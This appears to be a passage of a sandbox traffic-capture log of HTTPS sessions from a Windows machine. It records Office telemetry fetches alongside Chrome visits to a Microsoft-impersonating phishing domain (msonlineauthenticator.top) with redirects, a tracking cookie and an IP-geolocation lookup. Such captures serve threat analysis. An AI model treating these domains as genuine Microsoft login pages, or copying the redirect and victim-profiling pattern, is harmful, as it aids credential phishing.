7a 6f 6e 65 22 3a 20 22 Data Ascii: { "ip": "8.46.123.75", "hostname": "static-cpe-8-46-123-75.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone": "

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:00 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124401Z-174f7845968px8v7hC1EWR08ng0000000vp00000000095m5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:01 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	49817	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:01 UTC	742	OUT	GET /microsoftonline HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:44:02 UTC	20	IN	HTTP/1.1 302 Found
2024-11-26 12:44:02 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-26 12:44:02 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-26 12:44:02 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2024-11-26 12:44:02 UTC	52	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6d 73 6f 6e 6c 69 6e 65 61 75 74 68 65 6e 74 69 63 61 74 6f 72 2e 74 6f 70 2f 0d 0a Data Ascii: Location: https://login.msonlineauthenticator.top/
2024-11-26 12:44:02 UTC	169	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 37 62 35 61 2d 64 38 63 62 3d 65 31 33 38 32 38 33 64 61 66 37 36 66 66 37 38 36 36 61 31 30 61 39 36 32 61 37 32 32 61 31 63 61 33 34 37 30 37 31 34 33 64 34 64 32 32 31 36 65 63 38 61 37 38 30 31 64 31 66 38 32 61 39 30 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 6d 73 6f 6e 6c 69 6e 65 61 75 74 68 65 6e 74 69 63 61 74 6f 72 2e 74 6f 70 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 36 20 4e 6f 76 20 32 30 32 34 20 31 33 3a 34 34 3a 30 32 20 47 4d 54 0d 0a Data Ascii: Set-Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; Path=/; Domain=msonlineauthenticator.top; Expires=Tue, 26 Nov 2024 13:44:02 GMT
2024-11-26 12:44:02 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-11-26 12:44:02 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:02 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-11-26 12:44:02 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:02 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:02 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124402Z-174f7845968frfdmhC1EWRxxbw0000000vg0000000006upw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:02 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:02 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124402Z-174f7845968frfdmhC1EWRxxbw0000000vhg000000004hgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:02 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124402Z-174f78459685m244hC1EWRgp2c0000000v8g0000000086r7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:02 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:02 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124402Z-174f7845968zgtf6hC1EWRqd8s0000000nbg000000009g7n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:03 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	49823	34.117.59.81	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:02 UTC	358	OUT	GET /json?token=ad570b7adafe32 HTTP/1.1 Host: ipinfo.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:44:03 UTC	457	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 274 content-type: application/json; charset=utf-8 date: Tue, 26 Nov 2024 12:44:03 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-26 12:44:03 UTC	274	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "ip": "8.46.123.75", "hostname": "static-cpe-8-46-123-75.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone": "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	49816	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:03 UTC	811	OUT	GET / HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90
2024-11-26 12:44:03 UTC	20	IN	HTTP/1.1 302 Found
2024-11-26 12:44:03 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-26 12:44:03 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-26 12:44:03 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2024-11-26 12:44:03 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 75 65 2c 20 32 36 20 4e 6f 76 20 32 30 32 34 20 31 32 3a 34 34 3a 30 32 20 47 4d 54 0d 0a Data Ascii: Date: Tue, 26 Nov 2024 12:44:02 GMT
2024-11-26 12:44:03 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2024-11-26 12:44:03 UTC	55	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 73 6f 6e 6c 69 6e 65 61 75 74 68 65 6e 74 69 63 61 74 6f 72 2e 74 6f 70 2f 6c 6f 67 69 6e 0d 0a Data Ascii: Location: https://www.msonlineauthenticator.top/login
2024-11-26 12:44:03 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2024-11-26 12:44:03 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2024-11-26 12:44:03 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2024-11-26 12:44:03 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:03 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f58191a5-b01e-003e-1291-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124403Z-174f7845968nxc96hC1EWRspw80000000v8g000000003488 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:04 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:04 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124404Z-174f7845968nxc96hC1EWRspw80000000v2g00000000bmmt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:05 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:04 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:05 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:04 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124404Z-174f7845968cpnpfhC1EWR3afc0000000v0g000000009f3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
